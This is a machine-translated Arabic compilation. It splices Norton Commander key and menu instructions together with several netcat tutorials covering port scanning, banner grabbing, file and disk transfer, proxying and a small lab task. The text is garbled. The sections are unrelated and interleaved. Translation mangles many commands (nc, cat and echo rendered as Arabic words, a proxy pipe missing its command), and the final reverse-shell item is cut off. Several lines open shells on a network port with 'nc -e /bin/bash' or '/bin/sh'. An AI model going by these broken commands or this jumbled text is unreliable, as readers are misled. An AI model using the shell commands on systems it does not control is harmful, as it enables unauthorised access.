يتم استدعاء أوامر NC الأساسية بواسطة مفاتيح الوظائف F1 - F10. توجد قائمة بهذه الأوامر في سطر المعلومات السفلي من الشاشة.

أ) تلميح، مساعدة، مساعدة، F1 (الشكل 2، 3).

عند الضغط على هذا المفتاح، يظهر ما يلي على الشاشة: وصف مختصر لنظام Norton Commander وتلميح أداة يصف الغرض من المفاتيح والأوامر.

ب) قائمة المستخدم، القائمة، F2 (الشكل 4)

باستخدام هذا الأمر، يتم استدعاء قائمة إضافية أنشأها المستخدم على الشاشة.

الخامس) عرض محتويات الملف، عرض، F3 (الشكل 5).

يجب وضع المؤشر على اسم الملف الذي تريد عرض محتوياته والضغط على المفتاح F3. سيتم عرض محتويات الملف على شاشة المراقبة، ويمكن مشاهدتها وقراءتها، ولكن لا يمكن تحريرها.

ز) تحرير النص، تحرير، F4 (الشكل 6)

لتحميل ملف إلى محرر Norton Commander المدمج، يتعين عليك الإشارة إلى الملف باستخدام المؤشر والضغط على F4. لأغراض التحرير، يمكنك تحريك المؤشر باستخدام مفاتيح المؤشر. يمكن للمحرر المدمج Norton Commander العمل مع ملف لا يتجاوز حجمه 30 كيلو بايت. بالنسبة للملفات الكبيرة، يتم استخدام محرر خارجي إذا تم تكوينه في Norton Commander. لتحميل ملف إلى محرر خارجي، استخدم الأمر المسمى بالضغط على ALT+ F4.

د) نسخ الملفات والأدلة، نسخ، F5 (الشكل 7، 8، 9)

لنسخ ملف، تحتاج إلى تحديد الدليل الذي يوجد به (المصدر) والمكان الذي سيتم نسخه (الوجهة). في اللوحة السلبية، تحتاج إلى فتح الدليل الوجهة، وفي اللوحة النشطة - الدليل المصدر. في الأخير، تحتاج إلى توجيه المؤشر إلى الملف المراد نسخه والضغط على F5. في مربع الحوار الذي يظهر، بعد الضغط على F5، تحتاج إلى تأكيد النسخ. إذا لزم الأمر، يمكنك هنا تصحيح اسم الدليل الوجهة أو إعطاء اسم مختلف لملف النسخ.

عند نسخ مجموعة من الملفات، يجب عليك أولاً وضع علامة عليها عن طريق تحريك المؤشر إلى الاسم الملف المطلوبواضغط على مفتاح الإدراج. سيتغير اسم الملف المحدد اللون والخلفية. لإلغاء تحديد الملف الذي يوجد به المؤشر، فقط اضغط على مفتاح الإدراج مرة أخرى. يتم النسخ بالضغط على المفتاح F5. في مربع الحوار الذي يظهر، تحتاج إلى تأكيد نسخ ملف واحد ومجموعة من الملفات (الكل).

إذا كنت بحاجة إلى نسخ كافة الملفات الموجودة في الدليل، لتحديدها فقط اضغط على المفتاح * الموجود على لوحة المفاتيح الرقمية الصغيرة. لإلغاء الاختيار، اضغط على هذا المفتاح مرة أخرى.

إذا كنت بحاجة إلى نسخ كافة ملفات مجموعة معينة، لتحديدها فقط اضغط على علامة واحدة + مفتاح على لوحة المفاتيح الرقمية الصغيرة وفي مربع الحوار الذي يظهر، حدد سمة المجموعة واضغط على Enter. وعلى العكس من ذلك، لإلغاء التحديد، اضغط على مفتاح علامة الطرح الفردية (-) ثم اضغط على Enter.


للاختيار العكسي، اضغط على المفتاح * الموجود على لوحة المفاتيح الرقمية الصغيرة.

خصائص المجموعة المشار إليها عند النسخ متعددة جدًا. بعض الأمثلة موضحة في الجدول 1. الجدول 1

مرحباً عزيزي القارئ X!

أعتقد أن هذا الرسم يمكن أن يسمى اختبارًا صغيرًا "هل أنت متسلل؟" حاول أن تقول ذلك
يعني هذه القطة المضحكة. حسنًا، إذا استمرت الصعوبات في الظهور، فاعلم أن أمامك الشيء الأكثر تفضيلاً لدى جميع الأشخاص المتقدمين، بطريقة أو بأخرى
المرتبطة بالشبكة، واسمها Netcat.

Netcat هي أداة مساعدة تسمح لك بقراءة البيانات ونقلها عبر الشبكة
اتصالات. بمعنى آخر، يتيح لك Netcat الاتصال بأي شيء والقيام بأي شيء. Netcat مكتفي ذاتيًا تمامًا، إذا تم استخدامه بشكل صحيح، فيمكنه استبدال أي برنامج آخر أداة برمجية، بما في ذلك حتى أولئك الذين تعرفهم
أباتشي. لذلك، في أبسط إصدار له، يتيح لك Netcat إنشاء اتصالات TCP وUDP من أي منفذ إلى أي منفذ، ويمكنه "الاستماع" إلى الاتصالات الواردة (ويمكنك أن تطلب من "القطط" انتظار الاتصالات فقط من العناوين وحتى المنافذ التي تستخدمها حدد!) ، يمكنه فحص المنافذ، والسماح باستعلامات DNS، وإرسال أي أوامر من الإدخال القياسي، وتنفيذ إجراءات محددة مسبقًا استجابةً للاتصال الذي تستمع إليه "القطط"، وإجراء تفريغ سداسي عشري للبيانات المرسلة والمستلمة وغير ذلك الكثير. ...

على الرغم من أنني أعتقد أنه كان من الضروري القول منذ البداية أن Netcat يمكنه فعل كل شيء؛ وإمكانيات استخدامه محدودة فقط بمستوى معرفتك وخيالك. في البداية، تم تصميم Netcat كأداة مساعدة Unix، ولكن كما تفهم، لا يمكن أن يكون هناك عشاق لا ينقلون "القط الصغير" إلى Windows. يمكنك بسهولة العثور على كلا الإصدارين في محركات البحث باستخدام الاستعلام "Netcat". لكن الفوائد، بالطبع، تذهب إلى Unix-oids، والتي، عند تجميعها، يمكنها تصحيح "القطط" قليلاً وبالتالي تنشيط ميزات "الميزات الإضافية" التي يتم تعطيلها افتراضيًا.

إذا سبق لك استخدام "الهجمات القائمة على البرمجيات"، أو قمت ببساطة بوضع برامج استغلال، فمن المحتمل أنك لاحظت أن أكثر من نصفهم يستخدمون Netcat بطريقة أو بأخرى. ويرجع ذلك في المقام الأول إلى حقيقة أن Netcat لا يقوم أبدًا بتعديل البيانات الواردة (وكذلك الصادرة)، على عكس عميل Telnet، الذي يفسر البيانات الواردة أولاً ثم يعطيها لك فقط. ولهذا السبب أصبح Netcat أداة قويةالبحث عن نقاط الضعف واستغلالها، وبفضل ذلك تم تجديد Bugtraq بمئات المنشورات الجديدة.

ولكن، إذا كان البحث عن الثغرات الأمنية ليس من اهتماماتك، فيمكنك تجربة استخدام Netcat كمتصفح ويب، أو، على سبيل المثال، عميل البريد; وخاصة منذ في إنترنت إكسبلوررووجد Outlook ثغرات "جديدة" ويونيكود قديم جيد، هه... علاوة على ذلك، تميز رجالنا الروس في هذا المجال (! يلعب الفخر الوطني دورًا!). إذا كنت تقرأ هذه المقالة باستخدام Explorer، فاذهب وانظر كيف أنت "حمار".
هولي

بعد ذلك، ستنتقل إلى Netcat - وهو ليس مريحًا جدًا، ولكن
آمن... وأخيرًا، أمثلة على الاستخدام "المتقدم" لـ Netcat
(يونكس):

  1. Netcat مثل ;
  2. Netcat كأداة مساعدة " "؛ غالبًا ما يتم وصفها في X، ولكنها في الواقع ترسل ببساطة طلبات إلى محركات البحث المعروفة لك... يمكن لـ "قطتك" أيضًا القيام بهذا العمل المفيد!
  3. Netcat مثل ! جعل مقدم الراحة!!!

يرجى ملاحظة أن كل شيء يتم في شكل نصوص برمجية، لذا يمكنك تصحيح أي شيء إذا لزم الأمر.
لهذا أريد أن أقول وداعا. اقرأ الأدلة، ونتمنى لك حظًا سعيدًا في تعلم الأداة المساعدة Netcat الشهيرة!

ملاحظة:/شخصي/: الموقع http://georgy.h1.ru/ مغلق بواسطتي. مرة واحدة وإلى الأبد. شكرا لكل من كان ضيفي.

في هذه المقالة، سألقي نظرة على أداة الشبكة الشهيرة netcat والحيل المفيدة عند العمل معها.


Netcat عبارة عن أداة مساعدة تعمل بنظام Unix تتيح لك إنشاء اتصالات TCP وUDP واستقبال البيانات من هناك وإرسالها. وعلى الرغم من فائدته وبساطته، إلا أن الكثيرين لا يعرفون كيفية استخدامه ويتجاوزونه دون وجه حق.


باستخدام هذه الأداة، يمكنك تنفيذ بعض الخطوات عند إجراء اختبار الاختراق. يمكن أن يكون هذا مفيدًا عندما لا يكون الجهاز الذي تمت مهاجمته مزودًا بحزم مثبتة (أو يجذب الانتباه)، أو عندما تكون هناك قيود (على سبيل المثال، أجهزة إنترنت الأشياء/الأجهزة المدمجة)، وما إلى ذلك.


ما يمكنك فعله باستخدام netcat:

  • منافذ المسح؛
  • المنافذ الأمامية؛
  • جمع لافتات الخدمة؛
  • الاستماع إلى المنفذ (ربط الاتصال العكسي)؛
  • تنزيل وتحميل الملفات.
  • إخراج محتوى HTTP الخام؛
  • إنشاء دردشة صغيرة.

بشكل عام، بمساعدة netcat، يمكنك استبدال بعض الأدوات المساعدة Unix، لذلك يمكن اعتبار هذه الأداة نوعًا من الجمع بين أداء مهام معينة.

أمثلة عملية

في كثير من الحالات، إذا كان من الضروري التحقق من مضيف معين، فإنهم يستخدمون telnet أو خدمات الخدمة الخاصة بهم لتحديد المضيف أو الشعار. كيف يمكن أن يساعدنا netcat:

التحقق من وجود منفذ TCP مفتوح 12345

$ ن سي -vn 192.168.1.100 12345
nc: فشل الاتصال بـ 192.168.1.100 12345 (tcp): تم رفض الاتصال

$ ن سي -v 192.168.1.100 22
نجح الاتصال بـ 192.168.1.100 22 منفذًا!
SSH-2.0-OpenSSH

فحص منافذ TCP باستخدام netcat:

$ nc -vnz 192.168.1.100 20-24

مع هذا الفحص، لن يكون هناك اتصال بالمنفذ، ولكن سيكون هناك فقط مخرج اتصال ناجح:


nc: فشل الاتصال بالمنفذ 192.168.1.100 رقم 20 (tcp): تم رفض الاتصال
nc: فشل الاتصال بالمنفذ 192.168.1.100 رقم 21 (tcp): تم رفض الاتصال
تم العثور على 0 جمعيات
تم العثور على 1 اتصالات:
1: الأعلام=82
outif en0
منفذ 192.168.1.100 50168
دي إس تي 192.168.1.100 المنفذ 22
معلومات الرتبة غير متوفرة
تتوفر معلومات TCP aux
نجح الاتصال بالمنفذ 192.168.1.100 رقم 22!
nc: فشل الاتصال بالمنفذ 192.168.1.100 رقم 23 (tcp): تم رفض الاتصال
nc: فشل الاتصال بالمنفذ 192.168.1.100 رقم 24 (tcp): تم رفض الاتصال

مسح منافذ UDP.

لفحص منافذ UDP باستخدام nmap، تحتاج إلى امتيازات الجذر. إذا لم تكن موجودة، في هذه الحالة يمكن أن تساعدنا الأداة المساعدة netcat أيضًا:


$ نك -فنزو 192.168.1.100 5550-5560
نجح الاتصال بالمنفذ 192.168.1.100 5555!

إرسال حزمة UDP

$ صدى -ن "فو" | نك -u -w1 192.168.1.100 161

يمكن أن يكون هذا مفيدًا عند التفاعل مع أجهزة الشبكة.

استقبال البيانات على منفذ UDP وإخراج البيانات المستلمة

$ nc -u المضيف المحلي 7777

بعد الرسالة الأولى، سيتوقف الإخراج. إذا كنت بحاجة إلى قبول رسائل متعددة، فيجب عليك استخدام while true:


$ بينما صحيح؛ افعل nc -u localhost 7777; منتهي

نقل الملفات. باستخدام netcat يمكنك استلام الملفات ونقلها إلى مضيف بعيد:


نك 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact كخادم ويب بسيط.

يمكن أن يعمل Netcat كخادم ويب بسيط لعرض صفحات HTML.


$ بينما صحيح؛ قم بعمل nc -lp 8888< index.html; done

باستخدام متصفح على: http://netcat host:8888/index.html. لاستخدام منفذ خادم الويب القياسي رقم 80، سيتعين عليك تشغيل nc بامتيازات الجذر:


$ بينما صحيح؛ هل سودو nc -lp 80< test.html; done

الدردشة بين العقد

على العقدة الأولى (192.168.1.100):


$nc-lp 9000

على العقدة الثانية:


$ نك 192.168.1.100 9000

بعد تنفيذ الأوامر، ستظهر جميع الأحرف التي تم إدخالها في النافذة الطرفية على أي عقدة في النافذة الطرفية للعقدة الأخرى.

قذيفة عكسية

باستخدام netcat يمكنك تنظيم غلاف عكسي مناسب:


nc -e /bin/bash -lp 4444

يمكنك الآن الاتصال من المضيف البعيد:


$ نك 192.168.1.100 4444

لا يجب أن تستسلم إذا لم يكن لديك أدوات معينة، غالبًا ما تكون مرهقة للغاية؛ في بعض الأحيان يمكن حل المشكلة بوسائل مرتجلة.

تعليمات العمل فينورتونقائد

لبدء تشغيل نظام NC في سطر الأوامر DOS اكتب أمر NC أو انقر بزر الماوس الأيسر على أيقونة NC الموجودة على سطح مكتب الكمبيوتر. لإنهاء العمل مع NC، اضغط على المفتاح [ ف10] . في المربع الحواري الذي يظهر، اختر الإجابة "نعم" في حالة تسجيل الخروج من النظام، و"لا" في حالة عدم ذلك. يتم تحديد خيار الإجابة باستخدام مفاتيح المؤشر الموجودة على لوحة المفاتيح الوظيفية ثم الضغط على المفتاح [ يدخل] . يحتوي الجزء السفلي من الشاشة على سطر أوامر DOS، حيث يمكنك إدخال الأوامر المناسبة أثناء العمل تحت سيطرة NC. يحتوي السطر السفلي من الشاشة على سطر تلميح، يشير إلى الغرض من المفاتيح "السريعة" الرئيسية التي تتوافق مع أوامر NC (وDOS).

بعد بدء تشغيل NC، تظهر لوحتان على الشاشة - اليسار واليمين. في أعلى كل لوحة، توجد نافذة مستطيلة صغيرة تعرض المسار الكامل للملف أو الدليل الحالي. تسمى اللوحة التي يوجد بها المستطيل المميز، المؤشر، نشطة. للانتقال من لوحة إلى أخرى، استخدم المفتاح . إذا تم تحديد السطر العلوي على اللوحة والصورة “…” هذا يعني أنك في الدليل بالاسم الموضح أعلى اللوحة. يتم استخدام الأوامر التالية للعمل مع اللوحات:

[ كنترول] + [ ف1] إخفاء/إظهار اللوحة اليسرى

[ كنترول] + [ ف2] إخفاء/إظهار اللوحة اليمنى

[ كنترول] + [ ش] تبديل اللوحات

[ كنترول] + [ يا] إخفاء/إظهار كلتا اللوحتين

[ كنترول] + [ ص]إخفاء/إظهار اللوحة غير النشطة

لتغيير اسم القرص المنطقي، انقر فوق اللوحة اليسرى [ بديل] + [ ف1] ، في مربع الحوار الذي يظهر، استخدم مفاتيح المؤشر لتحديد اسم القرص المطلوب من الأسماء المقترحة، اضغط على المفتاح [ يدخل] . بالنسبة إلى اللوحة اليمنى، تكون الإجراءات متشابهة، ولكن في البداية يجب عليك النقر [ بديل] + [ ف2] .

للانتقال إلى الدليل، حدده على اللوحة النشطة واضغط على المفتاح [ يدخل] . “…” للانتقال إلى دليل ذي مستوى أعلى على اللوحة النشطة، حدد السطر [ يدخل] .

واضغط على المفتاح

[ فيتم استخدام الأوامر التالية للعمل مع الدلائل: 7] - إنشاء دليل

[ ف8] - حذف الدليل. في مربع الحوار الذي يظهر، قم بتأكيد الحذف أو إلغاء الحذف بالضغط على مفتاح Esc.

يتم استخدام الأوامر التالية للعمل مع الملفات:

[ يحول] + [ ف4] - إنشاء ملف. في مربع الحوار الذي يظهر، أدخل اسم ملف جديدًا (لا تنس تحديد الامتداد). بعد تعيين اسم الملف، اكتب محتويات الملف في مساحة العمل على الشاشة. أكمل إنشاء الملف باستخدام الأمر [ كنترول] + [ ز]. لحفظ الملف، اضغط على المفتاح [ ف2] . الخروج من وضع التحرير باستخدام المفتاح [ ف10 ] .

[ ف4] - تحرير مستند تم إنشاؤه مسبقًا. في هذه الحالة، يجب عليك تحديد اسم الملف المراد تحريره في مربع الحوار. عند العمل في وضع التحرير، يظهر سطر تلميح في مساحة الشاشة بالأسفل مع تعيين مفاتيح التشغيل السريع في وضع التحرير.

[ يحول] + [ ف2] - احفظ الملف باسم جديد.

[ ف3] - عرض محتويات الملف. للقيام بذلك، حدد الملف الموجود في اللوحة أولاً.

[ ف5] – نسخ الملفات. يتم تنفيذ جميع العمليات المتعلقة بالملفات والأدلة باستخدام كلتا اللوحتين. لنسخ ملف، على لوحة غير نشطة، قم بتعيين الدليل حيث سيتم وضع الملف المنسوخ، انتقل إلى هذا الدليل. في اللوحة النشطة، حدد الملف المراد نسخه واضغط على المفتاح [ ف5] . لتأكيد النسخ، اضغط على المفتاح [ يدخل] ، للإلغاء – .

[ ف6] – نقل/إعادة تسمية الملف. العملية مشابهة للنسخ. لنقل ملف، على لوحة غير نشطة، قم بتعيين الدليل الذي سيتم وضع الملف فيه وانتقل إلى هذا الدليل. في اللوحة النشطة، حدد الملف المراد نقله واضغط على المفتاح [ ف6] . لإعادة تسمية ملف، حدد اسم ملف جديدًا في مربع الحوار عن طريق إضافته عبر الرمز ” \ ” في الإشارة إلى المسار. ومن الضروري أن نتذكر أن الملف المنقول يتم حذفه من موقعه الأصلي.

[ ف9] - اذهب إلى القائمةنورث كارولاينا.

عمليات المجموعة على الملفات

يمكن إجراء عمليات النسخ والنقل والحذف على عدة ملفات في وقت واحد. للقيام بذلك، تحتاج إلى وضع علامة عليها من خلال تسليط الضوء عليها على اللوحة والضغط على المفتاح [ إدراج] . في هذه الحالة، يتم تمييز الملفات المحددة بمستطيلات ذات لون متباين. لإزالة التحديد، كرر هذه الخطوات. بعد إجراء اختيار الملف، يتم إجراء العملية المطلوبة (النسخ، النقل، الحذف) على مجموعة الملفات كما لو كانت واحدة. الطريقة الثانية لتحديد ملف هي بالضغط على المفتاح الرمادي الكبير ”+” على لوحة المفاتيح الوظيفية الموجودة على اليسار. بعد الضغط على هذا المفتاح، يجب عليك تحديد اسم الملف في مربع الحوار أو تحديد أسماء الملفات عند استخدام قناع في الاسم: “ * ”, “ *.* ”, “ ? ”. لإلغاء تحديد الملفات، استخدم المفتاح "-" الموجود على لوحة المفاتيح الوظيفية الموجودة على اليسار.

قائمة النظام NC

تم تصميم نظام القائمة لتخصيص الغلاف وتسهيل العمليات. يتم استدعاء شريط القائمة بالضغط على مفتاح [ ف9] . يتكون نظام القائمة من شريط القوائم والقوائم المنسدلة. تحتوي القائمة على العناصر التالية: الملفات اليمنى، أوامر الإعدادات، اليسار . فرق يمين و غادر تحديد اختيار وضع عرض الملف على اللوحة. جميع خيارات الأوامر للوحتين اليمنى واليسرى متطابقة. فريق ملفات مصممة لتنفيذ العمليات على الملفات والدلائل. عنصر القائمة فرق مخصص لتنفيذ أوامر إضافية. فريق إعدادات يهدف إلى إعداد بيئة NC. يتم تحديد الأمر المناسب باستخدام مفاتيح المؤشر ثم الضغط [ يدخل].

عنصر القائمة اليسار (اليمين).

تحتوي القائمة المنسدلة لهذا الأمر على خيارات لتحديد التنسيق لعرض الملف على الشاشة. في الوضع مختصر تعرض اللوحة أسماء الملفات والدلائل فقط. في الوضع ممتلىء يتم عرض اسم الملف أو الدليل، للملف يشار إلى حجمه، للدليل - سلسلة "الدليل الفرعي"، تاريخ ووقت إنشاء الملف والدليل. في الوضع شجرة يمكنك عرض شجرة الدليل لمحرك الأقراص الحالي واستخدام المؤشر للعثور بسرعة على الملف المطلوب من خلال التنقل عبر الشجرة. تحدد مجموعة الخيارات التالية لعنصر القائمة هذا الترتيب الذي يتم به عرض الملفات على اللوحة. في هذه الحالة، يمكن ترتيب الملفات بأي ترتيب - الوضع لا يوجد فرز ولكن يمكن ترتيبها بترتيب محدد: اسم - بالاسم حسب الترتيب الأبجدي، امتداد - بالتمديد حسب الترتيب الأبجدي، وقت - حسب تاريخ الإنشاء، مع وجود الملفات ذات تواريخ الإنشاء الأخيرة في بداية القائمة، مقاس - حسب حجم الملف بترتيب تنازلي.

عنصر القائمة ملفات .

يتم تحديد سطر الوضع المقابل بواسطة المؤشر وتحديد مربع الاختيار باستخدام مفتاح "المسافة". [ ف1] - [ ف8] تحتوي القائمة المنسدلة لهذا الأمر على وصف للغرض من مفاتيح التشغيل السريع [ ف9] ، أي. يتم تكرار إجراءات مفتاح التشغيل السريع بواسطة أوامر القائمة. الخيار التالي هو تعيين السمات. يتم تعيين السمات للملفات فقط. ترتيب ضبط السمات هو كما يلي: حدد ملفًا باستخدام المؤشر الموجود على اللوحة. بعد هذا الضغط على المفتاح ملفات انتقل إلى قائمة NC وحدد العنصر تثبيت صفات [ يدخل] . بعد الضغط على المفتاح تظهر قائمة بالسمات المحتملة في مربع الحوار:للقراءة فقط، أرشيف، مخفي، نظام للقراءة فقطلا يمكن تعديله وهو متاح للعرض فقط. ملف السمات مختفيعلى اللوحة بمستطيل صغير مميز (إذا لم يتم ضبط الخيار في إعدادات الشاشة إظهار الملفات المخفيةلا يتم عرض اسم الملف على اللوحة على الإطلاق). تتيح لك مجموعة الأوامر التالية تحديد الملفات (على غرار المفتاح الرمادي الكبير ”+” )، قم بإلغاء التحديد (مماثل للمفتاح ” - ” على لوحة المفاتيح الوظيفية)، التحديد العكسي (مشابه لـ ” * ” على لوحة المفاتيح الوظيفية).

عنصر القائمة فرق .

تتيح لك القائمة المنسدلة لهذا الأمر إنشاء قائمة مستخدم، وتحرير هذه القائمة، وعرض محفوظات الأوامر التي تم إدخالها في سطر أوامر DOS، وتحتوي على ميزات إضافية أخرى لقذيفة NC.

عنصر القائمة إعدادات.

تتيح لك القائمة المنسدلة لهذا الأمر تكوين بيئة الواجهة بطريقة سهلة الاستخدام. يحتوي على خيار إعدادات محرروغيرها. عند تحديد شريط قائمة الإعدادات، يتم فتح مجموعة من مربعات الحوار التي تسمح لك بتحديد مجموعة ألوان للشاشة، وتعيين عدد الخطوط على الشاشة، وما إلى ذلك. مربع الحوار إعدادات اللوحةيسمح إظهار الملفات المخفية، إذا تم تحديد خانة الاختيار المقابلة (أو عدم إظهارها). يتم أيضًا التحقق من مربعات الخيارات المقابلة باستخدام المؤشر ومفتاح المسافة.

مهمة المختبر

عرض صفحة HTML اختبارية للعميل باستخدام متصفح عادي باستخدام أمر واحد (المنفذ 8080):
(echo -e "HTTP/1.1 200 OK\nنوع المحتوى: text/html\n\n Hello World";) | نك -فف -ل -ص 8080
نقل ملف إلى عميل باستخدام متصفح عادي بأمر واحد (المنفذ 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: Attachment; filename=target-name-that-client-will-see\nContent-Type: application/octet-stream\nConnection: Close\n"; cat filename- على القرص) | نك -فف -ل -ص 8080

كيفية استخدام نك؟

(http://handynotes.ru/2010/01/unix-utility-netcat.html )

لنبدأ ببعض الأمثلة البسيطة ثم نستخدمها كأمثلة أساسية.
إذا كنت تتذكر، قلت إن netcat هو سكين الجيش السويسري.

ماذا سيكون هذا السكين إذا لم يكن من الممكن استخدامه مثل السكين العادي؟ ولهذا السبب يمكن استخدام netcat بدلاً من telnet العادي:

$nc www.google.com 80
يمكنك إضافة الخيار -v لعرض نتائج الإجراءات بمزيد من التفاصيل، والخيار (-vv) للحصول على إحصائيات حول عدد البايتات التي تم نقلها أثناء جلسة الاتصال الحالية.
يمكن استخدام Netcat كخادم. إذا قمت بتشغيله على النحو التالي، فسوف يستمع على المنفذ 12345 (على جميع الواجهات):

$ ن سي -ل -ص 12345

الآن، إذا قمت بالاتصال بالمنفذ 12345 لهذا المضيف، فسيتم إرسال كل ما تكتبه إلى الجانب البعيد، مما يخبرنا أنه يمكن استخدام netcat كخادم دردشة. التشغيل على أحد أجهزة الكمبيوتر:

# على الكمبيوتر A مع IP 10.10.10.10
$ ن سي -ل -ص 12345

والاتصال به من آخر:

# على جهاز الكمبيوتر ب
$ نك 10.10.10.10 12345

الآن يمكن للجانبين التحدث!
طريقة التحدث هذه، حيث يمكن للطرفين التحدث مع بعضهما البعض، تجعل من الممكن استخدام nc لعمليات الإدخال/الإخراج عبر الشبكة! على سبيل المثال، يمكنك إرسال دليل كامل من كمبيوتر إلى آخر عن طريق تشغيل خط أنابيب tar عبر nc على الكمبيوتر الأول، وإعادة توجيه الإخراج إلى عملية tar أخرى على الكمبيوتر الثاني.
لنفترض أنك تريد إرسال ملفات من دليل /data للكمبيوتر A مع IP 192.168.1.10 إلى الكمبيوتر B (مع أي IP). الأمر بسيط:


$tar -cf - /data | نك-ل-ص 6666


# على جهاز الكمبيوتر ب
$nc 192.168.1.10 6666 | القطران -xf -

لا تنس دمج خط الأنابيب مع Pipe Viewer، الذي تم وصفه في المقالة السابقة، لرؤية إحصائيات حول مدى سرعة حدوث النقل!
يمكن إرسال ملف واحد بشكل أكثر بساطة:

# على الكمبيوتر أ مع IP 192.168.1.10
ملف القط $ | نك-ل-ص 6666


# على جهاز الكمبيوتر ب
$nc 192.168.1.10 6666 > ملف

يمكنك أيضًا نسخ واستعادة قرص كامل باستخدام nc:

# على الكمبيوتر أ مع IP 192.168.1.10
$ القط /ديف/HDB | نك-ل-ص 6666


# على جهاز الكمبيوتر ب
$ ن سي 192.168.1.10 6666 > /dev/hdb

ملحوظة: لا يمكن استخدام الخيار "-l" مع "-p" على أجهزة كمبيوتر Mac! الحل هو ببساطة استبدال "-l -p 6666؟" إلى "-l 6666؟. مثل هنا:

# الآن يستمع nc على المنفذ 6666 لأجهزة كمبيوتر Mac
$ نك-ل 6666

الاستخدام الشائع لـ netcat هو فحص المنافذ. Netcat ليست الأداة الأفضل لهذا النوع من العمل، ولكنها تنجز المهمة (الأفضل بالطبع هو nmap):

$ نك -v -n -z -w 1 192.168.1.2 1-1000
(غير معروف) 445 (مايكروسوفت دي إس) مفتوح
(غير معروف) 139 (netbios-ssn) مفتوح
(غير معروف) 111 (sunrpc) مفتوح
(غير معروف) 80 (www) مفتوح
(غير معروف) 25 (smtp): انتهت مهلة الاتصال
(غير معروف) 22 (سه) مفتوح

يمنع الخيار -n عمليات بحث DNS، ولا ينتظر -z استجابة من الخادم، و-w 1؟ يضبط مهلة الاتصال على ثانية واحدة.
استخدام آخر غير تافه لـ netcat هو بمثابة وكيل. يمكن إعادة توجيه كل من المنفذ والمضيف. انظر إلى هذا المثال:

$ ن سي -ل -ص 12345 | www.google.com 80

يقوم هذا الأمر بتشغيل nc على المنفذ 1234 ويعيد توجيه كافة الاتصالات إلى google.com:80. إذا قمت الآن بالاتصال بهذا الكمبيوتر عبر المنفذ 12345 وقمت بتقديم طلب، فستجد أنك لا تتلقى أي بيانات ردًا على ذلك. وهذا صحيح لأننا لم نقم بإنشاء قناة ثنائية الاتجاه. إذا قمت بإضافة قناة ثانية، فسوف تتلقى بياناتك على منفذ مختلف:

$ ن سي -ل -ص 12345 | نك www.google.com 80 | نك-ل-ص 12346

بعد إرسال الطلب إلى المنفذ 12345، استقبل بيانات الرد على المنفذ 12346.
من المحتمل أن أقوى ميزة في netcat هي تشغيل أي عملية كخادم:

$ nc -l -p 12345 -e /bin/bash

يؤدي الخيار -e إلى إعادة توجيه الإدخال والإخراج عبر مقبس الشبكة. الآن، إذا قمت بالاتصال بالمضيف على المنفذ 12345، يمكنك استخدام bash:
$nc المضيف المحلي 12345
ليرة سورية لاس
المجموع 4288
4 drwxr-xr-x 15 مستخدمي pkrumins 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 مستخدمي pkrumins 4096 2009-01-18 21:22 ..
8 -rw ——- 1 مستخدم كرمينز 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 مستخدمي pkrumins 220 2009-01-18 21:04 .bash_logout

(http://execbit.ru/2011/05/23/netcat/)
1 نقل الملفات (ننفذ الأمر الأول على الجهاز المستقبل، والثاني على الجهاز المرسل:

$ nc -l 31334 > اسم الملف $ nc 172.16.69.143 31334< filename

$ nc -f /var/log/messages | ن سي -ل 31334 دولار ن سي 172.16.69.143 31334

3 استخدم بدلاً من telnet (الأول هو خادم telnet، والثاني هو العميل):

$ نك -l -p 31334 -e /bin/sh $ نك 172.16.69.143 31334

4 المسح الضوئي إلى المنافذ المفتوحة:

$ nc -z execbit.ru 1-1024

5 خدمات بصمة تعتمد على اللافتات:

$ صدى "إنهاء" | نك execbit.ru 1-1024

6 تنظيم الصدفة العكسية (الأول هو العميل، والثاني هو الخادم، ولكن سيتم فتح الصدفة من الخادم إلى العميل).